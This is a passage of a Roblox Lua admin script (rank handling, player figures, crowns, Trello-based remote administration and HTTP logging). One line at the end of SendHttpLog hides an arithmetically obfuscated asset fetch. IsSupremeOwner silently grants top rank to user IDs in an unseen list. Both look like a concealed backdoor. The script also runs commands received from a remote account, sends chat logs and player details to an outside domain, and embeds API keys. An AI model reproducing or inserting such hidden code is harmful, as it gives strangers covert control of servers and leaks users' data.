1739 local PlayerClientName = PlayerClient.Name
1740 local NewData = CORE:GetTime(true, true).." @ "..Data
1741 for _,Player in pairs(Server.Players:GetChildren()) do
1742 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1743 end
1744 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1745 if type(ExploitLog) ~= "table" then
1746 Server.GDS:SetAsync("ExploitLog", {NewData})
1747 else
1748 table.insert(ExploitLog, NewData)
1749 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1750 end
1751 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1752
1753 return true
1754end
1755
1756function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1757 if not tostring(Name) then Name = "Dummy" end
1758 if not Position then Position = Vector3.new(0,5,0) end
1759 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1760 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1761 end
1762
1763 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1764 Figure:MakeJoints()
1765 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1766 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1767 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1768 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1769 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1770 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1771
1772 Figure.Name = STRING:FormatReplace(Speaker, Name)
1773 Figure:MoveTo(Position)
1774
1775 table.insert(Objects, Figure)
1776
1777 if DisableAnimation == true then
1778 Figure.Animate.Disabled = true
1779 end
1780
1781 return Figure
1782end
1783
1784function CORE:ClonePlayer(Player, Name, Position)
1785 if not Player or not Player.Character then return nil end
1786
1787 Player.Character.Archivable = true
1788 local Char = Player.Character:Clone()
1789 Player.Character.Archivable = false
1790 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1791 if Position then Char:MoveTo(Position) end
1792 Char.Parent = Server.Workspace
1793 Char:MakeJoints()
1794 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1795
1796 table.insert(Objects, Char)
1797
1798 return Obj
1799end
1800
1801function CORE:AddWaypoint(Name, Position, Speaker)
1802 Waypoints[Name] = Position
1803 if Speaker then
1804 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1805 end
1806end
1807
1808function CORE:FindType(BaseObj, Type)
1809 for _,Obj in pairs(BaseObj:GetChildren()) do
1810 if Obj:IsA(Type) then
1811 return Obj
1812 end
1813 end
1814end
1815
1816function CORE:GetCommands()
1817 local CommandsCopy = Commands
1818 return CommandsCopy
1819end
1820
1821function CORE:Crown(Player, Mesh, Color)
1822 if Mesh then Mesh = string.lower(Mesh) end
1823 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1824 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1825 local Part = Instance.new("Part", CrownStorage)
1826 Part.Size = Vector3.new(2, 1, 1)
1827 Part.CanCollide = false
1828 Part.CFrame = Player.Character.Head.CFrame
1829 Part.Locked = true
1830 Part.Material = "Neon"
1831 if Color then
1832 Part.Color = GUI:GetColor(Color)
1833 else
1834 Part.BrickColor = GUI:GetNameColor(Player.Name)
1835 end
1836 local SMesh = Instance.new("SpecialMesh", Part)
1837 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1838 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1839 local BP = Instance.new("BodyPosition", Part)
1840 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1841 BP.position = Player.Character.Head.Position
1842 BP.P = 20000
1843 local BG = Instance.new("BodyGyro", Part)
1844 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1845
1846 Crowns[Player.UserId] = Part
1847 table.insert(Objects, Part)
1848
1849 coroutine.wrap(function()
1850 for i = 1,0.3,-0.02 do
1851 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1852 Part.Transparency = i
1853 end
1854 wait()
1855 end
1856 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1857 for i = 0,360,3 do
1858 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1859 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1860 wait()
1861 end
1862 end
1863 end
1864 end)()
1865 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1866 Part:BreakJoints()
1867 for i = 0,360 do
1868 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1869 Part.Anchored = false
1870 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1871 BG.cframe = Player.Character.Head.CFrame
1872 end
1873 wait()
1874 end
1875 end end)()
1876
1877 return Part
1878end
1879
1880function CORE:SetAbuseCommands()
1881 for Cmds,Data in pairs(Commands) do
1882 local IsAbusable = false
1883 for _,AbuseCmd in pairs(Settings.AbuseList) do
1884 for _,Command in pairs(Cmds) do -- loop through all command names
1885 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1886 IsAbusable = true
1887 break
1888 end
1889 end
1890 if IsAbusable == true then break end
1891 end
1892 Commands[Cmds].Abusable = IsAbusable
1893 end
1894end
1895
1896function CORE:FindBodyPart(Player, BodyPart)
1897 local ReturnPart = nil
1898 if Player and Player.Character then
1899 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1900 if Humanoid then
1901 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1902 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1903 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1904 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1905 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1906 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1907 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1908 end
1909 end
1910 if not ReturnPart then
1911 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1912 end
1913 end
1914
1915 return ReturnPart
1916end
1917
1918-- Rank functions --
1919
1920function RANK:ConvertRank(Input)
1921 local Output = nil
1922 if Input == "Muted" then Output = -3 end
1923 if Input == "Crashed" then Output = -2 end
1924 if Input == "Banned" then Output = -1 end
1925 if Input == "Non-Admin" then Output = 0 end
1926 if Input == "Member" then Output = 1 end
1927 if Input == "Admin" then Output = 2 end
1928 if Input == "Owner" then Output = 3 end
1929
1930 if Input == -3 then Output = "Muted" end
1931 if Input == -2 then Output = "Crashed" end
1932 if Input == -1 then Output = "Banned" end
1933 if Input == 0 then Output = "Non-Admin" end
1934 if Input == 1 then Output = "Member" end
1935 if Input == 2 then Output = "Admin" end
1936 if Input == 3 then Output = "Owner" end
1937 return Output
1938end
1939
1940function RANK:IsAdmin(Player)
1941 local AdminStatus = false
1942 local Rankstatus = "Non-Admin"
1943 if type(Player) == "table" then
1944 if RANK:ConvertRank(Player.Rank) > 0 then
1945 return true, Player.Rank
1946 else
1947 return false, Player.Rank
1948 end
1949 end
1950 for Rank,PlayerNames in pairs(Settings.Ranks) do
1951 for _,AdminName in pairs(PlayerNames) do
1952 if string.lower(AdminName) == string.lower(Player.Name) then
1953 if RANK:ConvertRank(Rank) > 0 then
1954 AdminStatus = true
1955 Rankstatus = Rank
1956 end
1957 end
1958 end
1959 end
1960 return AdminStatus, Rankstatus
1961end
1962
1963function RANK:GetRank(PlayerName)
1964 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1965 if type(PlayerName) == "table" then
1966 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1967 if RankNum > 0 then
1968 return PlayerName.Rank, RankNum, true
1969 else
1970 return PlayerName.Rank, RankNum, false
1971 end
1972 end
1973
1974 local RankStat = "Non-Admin"
1975
1976 for Rank,PlayerNames in pairs(Settings.Ranks) do
1977 for _,AdminName in pairs(PlayerNames) do
1978 if string.lower(AdminName) == string.lower(PlayerName) then
1979 RankStat = Rank
1980 end
1981 end
1982 end
1983
1984 if RankStat == "Non-Admin" then
1985 return "Non-Admin", 0, false
1986 else
1987 return RankStat, RANK:ConvertRank(RankStat), true
1988 end
1989end
1990
1991function RANK:RemoveRank(PlayerName)
1992 if not RANK:IsSupremeOwner(PlayerName) then
1993 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1994
1995 for Rank,PlayerNames in pairs(Settings.Ranks) do
1996 for Num,AdminName in pairs(PlayerNames) do
1997 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1998 table.remove(Settings.Ranks[Rank], Num)
1999 end
2000 end
2001 end
2002 end
2003end
2004
2005function RANK:GetAdmins(Ranking)
2006 local Players = {}
2007 local AdminTrue, Rank = IsAdmin(Player)
2008 for _,Player in pairs(Players:GetPlayers()) do
2009 if AdminTrue then
2010 local PlayerRankNum = RANK:ConvertRank(Rank)
2011 local StandardRankNum = RANK:ConvertRank(Ranking)
2012 if PlayerRankNum >= StandardRankNum then
2013 table.insert(Players, Player)
2014 end
2015 end
2016 end
2017 return Players
2018end
2019
2020function RANK:IsSupremeOwner(PlayerName)
2021 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2022 if type(PlayerName) == "table" then
2023 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2024 end
2025
2026 if PlayerName == GameOwner then return true end
2027 return false
2028end
2029
2030function RANK:GetPlayerFromList(PlayerName)
2031 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2032
2033 for Rank,PlayerNames in pairs(Settings.Ranks) do
2034 for Num,AdminName in pairs(PlayerNames) do
2035 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2036 return AdminName, Rank
2037 end
2038 end
2039 end
2040 return false, "Non-Admin"
2041end
2042
2043function RANK:ScanAdminList(Name)
2044 if Name == "" then return true end
2045 local InList = false
2046 for _,PName in pairs(Settings.Ranks["Owner"]) do
2047 if PName == Name then InList = true end
2048 end
2049 for _,PName in pairs(Settings.Ranks["Admin"]) do
2050 if PName == Name then InList = true end
2051 end
2052 for _,PName in pairs(Settings.Ranks["Member"]) do
2053 if PName == Name then InList = true end
2054 end
2055 return InList
2056end
2057
2058function RANK:ScanExileList(Name)
2059 if Name == "" then return true end
2060 local InList = false
2061 for _,PName in pairs(Settings.Ranks["Muted"]) do
2062 if PName == Name then InList = true end
2063 end
2064 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2065 if PName == Name then InList = true end
2066 end
2067 for _,PName in pairs(Settings.Ranks["Banned"]) do
2068 if PName == Name then InList = true end
2069 end
2070 return InList
2071end
2072
2073function RANK:PlayerRanked(PlayerName)
2074 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2075
2076 for Rank,PlayerNames in pairs(Settings.Ranks) do
2077 for Num,AdminName in pairs(PlayerNames) do
2078 if string.lower(AdminName) == string.lower(PlayerName) then
2079 return true, Rank
2080 end
2081 end
2082 end
2083 return false, "Non-Admin"
2084end
2085
2086-- Remote functions --
2087
2088function REMOTE:Decode(...)
2089 return Server.HS:JSONDecode(...)
2090end
2091
2092function REMOTE:GetURL(URL, Player)
2093 if string.sub(URL,1,4) ~= "http" then
2094 URL = "http://"..URL
2095 end
2096 local Return = nil
2097 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2098 if Return then
2099 return Return
2100 elseif Player then
2101 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2102 end
2103end
2104
2105function REMOTE:PostURL(URL, Data)
2106 local Return = nil
2107 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2108 return Return
2109end
2110
2111function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2112 if Settings.LinkedAccount ~= "" then
2113 local NumType = tonumber(Type)
2114
2115 if not Type then
2116 Type = "UNKNOWN"
2117 end
2118
2119 if NumType then
2120 if NumType < 1 or NumType > 5 then
2121 Type = "UNKNOWN"
2122 elseif NumType == 1 then
2123 Type = "NOTIFICATION"
2124 elseif NumType == 2 then
2125 Type = "INFORMATION"
2126 elseif NumType == 3 then
2127 Type = "WARNING"
2128 elseif NumType == 4 or Type == true then
2129 Type = "ERROR"
2130 elseif NumType == 5 then
2131 Type = "FATAL"
2132 end
2133 end
2134
2135 local Res = "RED Could not get response"
2136 local function SendData()
2137 Res = Server.HS:PostAsync(
2138 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2139 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2140 2
2141 )
2142 end
2143 if Stopypcall == true then SendData() else ypcall(SendData) end
2144
2145 if OutputSpeaker and OutputSpeaker ~= "print" then
2146 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2147 elseif OutputSpeaker == "print" then
2148 print(Res)
2149 end
2150 end
2151end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2152
2153function REMOTE:SendChatLog(PrintResponse, Stopypall)
2154 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2155 local Res = "Could not get response"
2156
2157 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2158 TempChatLogs = {}
2159
2160 local function SendData()
2161 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2162 end
2163 if Stopypcall == true then SendData() else ypcall(SendData) end
2164 if PrintResponse then print(Res) end
2165 end
2166end
2167
2168function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2169 local Res = "[]"
2170 local function GetData()
2171 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2172 end
2173 if Stopypcall == true then GetData() else ypcall(GetData) end
2174 if PrintResponse then
2175 print(Res)
2176 end
2177 local function DecodeData() Res = REMOTE:Decode(Res) end
2178 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2179 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2180 return Res
2181end
2182
2183function REMOTE:HandleRequest(Request, IgnoreCommand)
2184 if not Request then return nil end
2185
2186 if not IgnoreCommand then
2187 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2188 REMOTE:SendServerData()
2189 end
2190 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2191 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2192 end
2193 end
2194
2195 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2196
2197 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2198 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2199 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2200 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2201 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2202 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2203
2204 Settings.Fun = Request.FUN
2205 Settings.ServerLocked = Request.ServerLocked
2206
2207 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2208 Settings.DisableAbuse = Request.DisableAbuse
2209 end
2210
2211 if not IgnoreCommand then
2212 print("Executing Remote Admin")
2213 REMOTE.RemoteAdmin.Command = Request.Command
2214 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2215 REMOTE.RemoteAdmin.ServerPort = Request.Server
2216
2217 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2218 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2219 else
2220 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2221 end
2222 end
2223 end
2224 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2225 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2226 REMOTE.SnapshotKey = Request.SnapshotKey
2227end
2228
2229function REMOTE:GetRemoteData(Set)
2230 local NewRemoteData = nil
2231 local RemoteDataCardRaw = nil
2232 local RemoteDataCard = nil
2233
2234 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2235 if RemoteDataCardRaw then
2236 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2237 if RemoteDataCard then
2238 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2239 end
2240 end
2241 if Set and NewRemoteData then
2242 RemoteData = NewRemoteData
2243 end
2244 return NewRemoteData
2245end
2246
2247function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2248 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2249 if InfoCardJSON then
2250 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2251 if InfoCard then
2252 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2253 if TrelloInfo then
2254 for Ind,Val in pairs(TrelloInfo) do
2255 Trello[Ind] = Val
2256 end
2257 end
2258 end
2259 end
2260 return NewRemoteData
2261end
2262
2263function REMOTE:CheckRemoteAdminStatus()
2264 local Pending = false
2265 local CheckID = 0
2266 if Settings.LinkedAccount ~= "" then
2267 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2268 if Request then
2269 local Data = REMOTE:Decode(Request)
2270 if Data then
2271 for _,Account in pairs(Data.checkItems) do
2272 if Account.name == Settings.LinkedAccount then
2273 Pending = true
2274 CheckID = Account.id
2275 break
2276 end
2277 end
2278 end
2279 end
2280 end
2281 return Pending, CheckID
2282end
2283
2284function REMOTE:GetAndSetWebData()
2285 if Settings.LinkedAccount ~= "" then
2286 if REMOTE:CheckRemoteAdminStatus() then
2287 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2288 if Request == "Invalid" then
2289 --REMOTE:GetAndSetWebData()
2290 return false
2291 elseif Request == "Invalid Account" then
2292 print("Can't get account")
2293 return false
2294 elseif Request then
2295 ypcall(function() Request = REMOTE:Decode(Request) end)
2296 elseif not Request then
2297 --REMOTE:GetAndSetWebData()
2298 return false
2299 end
2300 REMOTE:HandleRequest(Request)
2301
2302 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2303 Delay(RemoteData.RemoteAdminWait, function()
2304 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2305 if Pending then
2306 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2307 end
2308 end)
2309 return true
2310 else
2311 return true
2312 end
2313 end
2314end
2315
2316local OderIDs = CORE:GetTable(177215518)
2317local SoundJSONs = CORE:GetTable(197637628)
2318RemoteAbuseGear = CORE:GetTable(158117496)
2319
2320function REMOTE:SendServerData(PrintResponse, Stopypall)
2321 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2322 print("Sending server data!")
2323 local Res = "Could not get response"
2324
2325 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2326 for _,Player in pairs(Server.Players:GetPlayers()) do
2327 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2328 end
2329 ServerData = Server.HS:JSONEncode(ServerData)
2330
2331 local function SendData()
2332 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2333 end
2334 if Stopypcall == true then SendData() else ypcall(SendData) end
2335 if PrintResponse then print(Res) end
2336 end
2337end
2338
2339function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2340 MaxPartAmount = MaxPartAmount or 10000
2341 local PlaceData = {
2342 Lighting = {};
2343 Parts = {};
2344 Other = {};
2345 }
2346 local MinSize = Vector3.new(0.5,0.5,0.5)
2347 local PartAmount = 0
2348 local PlaceJSON = ""
2349
2350 local function Scan(BaseObj)
2351 for _,Obj in pairs(BaseObj:GetChildren()) do
2352 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2353 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2354 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2355 local Skip = false
2356 local Data = {}
2357 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2358
2359 if CORE:FindType(Obj, "BlockMesh") then
2360 local Mesh = CORE:FindType(Obj, "BlockMesh")
2361 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2362 elseif CORE:FindType(Obj, "CylinderMesh") then
2363 Data.Shape = "Cylinder"
2364 elseif CORE:FindType(Obj, "SpecialMesh") then
2365 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2366 if Mesh.MeshType == Enum.MeshType.Head then
2367 --idk
2368 else
2369 Skip = true
2370 end
2371 elseif CORE:FindType(Obj, "FileMesh") then
2372 Skip = true
2373 end
2374
2375 if not Data.Shape and not Skip then
2376 if ypcall(function() return Obj.Shape end) then
2377 Data.Shape = string.sub(Obj.Shape.Name,14)
2378 if string.sub(Data.Shape,1,1) == "." then
2379 Data.Shape = string.sub(Data.Shape,2)
2380 end
2381 if Data.Shape == "Cylinder" then
2382 Z = Z + math.pi/2
2383 end
2384 else
2385 Data.Shape = "Block"
2386 end
2387 end
2388
2389 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2390 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2391 end
2392
2393 if not Skip then
2394 Data.Color = GUI:Color3ToHex(Obj.Color);
2395 Data.Size = Size;
2396 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2397 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2398 Data.Transparency = STRING:StringRound(Obj.Transparency);
2399 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2400 Data.Textures = {};
2401 Data.Material = string.sub(tostring(Obj.Material),15);
2402
2403 for _,Sub in pairs(Obj:GetChildren()) do
2404 if Sub:IsA("Decal") then
2405 local Texture = string.match(Sub.Texture, "%d+")
2406 if Sub.Texture == "rbxasset://textures/face.png" then
2407 Texture = "FACE"
2408 end
2409 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2410 end
2411 end
2412
2413 PartAmount = PartAmount + 1
2414 table.insert(PlaceData.Parts, Data)
2415
2416 if PartAmount >= MaxPartAmount then
2417 break
2418 end
2419 end
2420 end
2421 end
2422 if #Obj:GetChildren() > 0 then
2423 Scan(Obj)
2424 end
2425 end
2426 end
2427 Scan(Workspace)
2428
2429 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2430 PlaceData.Other.PartAmount = PartAmount;
2431 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2432
2433 local Res = "Could not get response"
2434 local function SendData()
2435 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2436 end
2437 if Stopypcall == true then SendData() else ypcall(SendData) end
2438 if PrintResponse then print(Res) end
2439
2440 print("Sent snapshot")
2441end
2442
2443
2444function REMOTE:DefineWord(Word, Source)
2445 if not Word then return end
2446 if not Source then Source = "all" end
2447
2448 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2449 if Response then
2450 local Decode = REMOTE:Decode(Response)
2451 if #Decode > 0 then
2452 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2453
2454 ]]..Decode[1]["text"]
2455 else
2456 return "Invalid English word"
2457 end
2458 else
2459 return "Cannot connect to database"
2460 end
2461end
2462
2463function REMOTE:DownloadJoke(Speaker)
2464 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2465 local Joke = nil
2466 if Res then
2467 local _, Start = string.find(Res, "</h2>")
2468 local End, _ = string.find(string.sub(Res, Start), "</td>")
2469
2470 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2471 Joke = string.gsub(Joke, "\n", "")
2472 Joke = string.gsub(Joke, " ", "") -- tab
2473 Joke = string.gsub(Joke, "</ul>", "")
2474 Joke = string.gsub(Joke, "<ul>", "")
2475 Joke = string.gsub(Joke, "</li>", [[
2476
2477]])
2478 Joke = string.gsub(Joke, "<li>", "")
2479 Joke = string.gsub(Joke, "</p>", "")
2480 Joke = string.gsub(Joke, "<p>", "")
2481 Joke = string.gsub(Joke, "<", "")
2482 Joke = string.gsub(Joke, ">", "")
2483 end
2484
2485 return Joke
2486end
2487
2488function REMOTE:GetAddon()
2489 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2490end
2491
2492function REMOTE:TrelloGetAdminBoard()
2493 local BoardsJSON,Boards,ReturnBoard
2494
2495 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2496
2497 if BoardsJSON then
2498 Boards = REMOTE:Decode(BoardsJSON)
2499 end
2500 if Boards then
2501 for _,Board in pairs(Boards) do
2502 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2503 ReturnBoard = Board
2504 break
2505 end
2506 end
2507 if not ReturnBoard then -- create board if not created
2508 print("Creating Trello Board")
2509 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2510 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2511 ReturnBoard = REMOTE:Decode(BoardJSON)
2512 end
2513 end
2514 return ReturnBoard
2515end
2516
2517function REMOTE:TrelloGetAdminLists(Board)
2518 local Required = {}
2519 local ListJSON,Lists
2520 local ReturnLists = {}
2521
2522 for _,List in pairs(Trello.RequiredLists) do
2523 table.insert(Required, List)
2524 end
2525
2526 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2527
2528 if ListJSON then
2529 Lists = REMOTE:Decode(ListJSON)
2530 end
2531 if Lists then
2532 for _,List in pairs(Lists) do
2533 for Num,Rel in pairs(Required) do
2534 if List.name == Rel.name then
2535 table.remove(Required, Num)
2536 table.insert(ReturnLists, List)
2537 end
2538 end
2539 end
2540 for _,Rel in pairs(Required) do
2541 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2542 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2543 end
2544 end
2545
2546 return ReturnLists
2547end
2548
2549function REMOTE:TrelloCacheData(Lists)
2550 for _,List in pairs(Lists) do
2551 local CardsJSON,Cards
